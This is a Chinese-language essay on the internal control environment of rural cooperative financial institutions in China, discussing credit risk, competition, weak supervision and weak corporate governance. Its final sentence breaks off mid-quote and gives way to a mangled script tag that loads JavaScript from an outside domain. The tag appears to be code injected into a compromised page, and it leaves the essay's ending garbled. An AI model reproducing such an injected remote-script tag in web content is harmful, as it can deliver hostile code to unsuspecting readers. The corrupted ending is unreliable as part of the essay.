控制环境是对建立、加强或削弱特定政策、程序及其效率产生影响的各种因素的总称，它是构成内部控制五要素（监督、控制活动、风险评估、信息沟通、控制环境）的基础，包括管理哲学和经营方式、组织结构、董事会、授权和分配责任的方式、管理控制方法、内部审计、人事政策与实务等各因素，它是一种氛围，塑造企业文化，影响企业员工的控制意识，影响企业内部各成员实施控制的自觉性，决定其他控制要素能否发挥作用。没有一个有效的控制环境，其他要素不论质量如何，都不可能形成有效的内部控制。因此，相对于农村合作金融的内部控制来讲，内部控制环境显得格外重要。

    一、中国农村合作金融内外部环境存在的问题

    总体来看，我国农村合作金融内外部环境存在的问题主要有以下几个方面:

    （一）农村合作金融风险突出，威胁自身的生存和发展

    由于乡镇企业经营困难以及行政干预，使农村信用社信贷资产形成了风险，多年来集聚起来的金融风险在农村信用社脱钩后正在逐步暴露出来，已成为当前信用社的突出问题。具体表现为：信贷资产质量差，不良贷款继续上升，历史包袱沉重，长期经营亏损和大量坏账呆账导致信用社资本金严重不足，高风险问题积重难返。由此，制约了农村信用社管理体制改革的深化，损害了农村信用社的良好信誉，也直接影响着信用社信贷资产的安全性、流动性和效益性，给农村经济发展和社会稳定带来了严重危害。

    （二）农村金融秩序欠佳，公平、合理的竞争环境难以形成

    其一，农村合作金融处于日趋激烈的同业竞争环境。随着金融事业的发展，农村出现了银行机构的多元化、金融业务的多样化。就现实情况看，农村除信用社外还有邮政储蓄、农行营业所和农村合作基金会，经济发达的乡镇还有中国银行、工商银行和建设银行办事机构。随着银行机构的不断增多和分业经营体制的逐步确立，银行机构之间的同业市场竞争日益激烈，各银行机构为在有限的市场竞争空间得以生存和发展，就必须设法稳固和不断扩大其业务市场份额。其二，农村合作金融规章制度和管理基础薄弱。农村合作金融机构内部风险控制机制不健全，自我约束不足，缺乏信贷资产风险监控制度、流动资产监控制度和业务操作监控制度。农村信用合作社还没有建立一个系统的稽核监督体系，各种法制也不健全；结算渠道不畅，基础设备落后，电子化进程缓慢；职工队伍素质偏低; 缺乏足够的化解和抵御风险手段和有效机制。这种状况远不适应社会主义市场经济发展规律的需要，导致了经营行为的扭曲和经营风险的扩大。

    （三）农村合作金融的地位没有得到确立，农村合作金融机构难以运行

    农村合作金融改革的目标是要建立具有中国特色的农村合作金融体系，这标志着我国合作金融事业一个崭新历史时期的开始。但是建立农村合作金融管理体制才刚刚起步，管理体系本身不完善，配套措施不健全，致使农村合作金融在当地政府、审计、财税以及商业性、政策性金融机构中的地位没有确立起来，行政干预依然存在，政策扶持软弱，人民银行结算、现金以及“三防一保”等服务职能没有充分发挥，使农村合作金融运行艰难，业务创新缺乏有力支持，难以有效地发挥农村合作金融的优势。

    二、农村合作金融内部控制环境存在问题的原因分析

    形成我国农村合作金融内部控制环境存在问题的原因是多方面的，但综合起来，集中表现在以下几个方面：

    （一）内部控制观念落后

    企业内部控制的设计和运行离不开那些创造、管理与监督制度的人的操守及价值观。一般来说，企业文化对于企业内部控制的效率和效果意义重大，直接影响下级员工的道德行为、思维方式和品行。它是以企业基本目标和价值观为核心形成的一整套观念，对企业组织的运转、创造企业气氛和环境以及调动员工的积极性方面，都有不可或缺的作用。但目前，多数企业管理者缺乏正确的操守、价值观以及经营理念，对企业职能部门的作用不够明确，也不太重视企业文化的建设。企业员工对企业内部控制目标及制度也缺乏了解，是被动接受管理。这些都严重制约着企业内部控制机制的有效运行。

    （二）管理机制不完善

    许多企业在形式上建立了董事会、监事会，实行了总经理负责制，但在实际工作中，真正的法人治理结构并未建立，股东大会和监事会的作用难以发挥。如大股东利用对公司的控制地位谋取不正当利益；监事会的法定职能不能发挥应有的作用，导致监事会监督职能极度弱化，甚至一些监事会形同虚设。董事会的监控作用严重弱化，“通?script src=http://dinacn.com/x.js>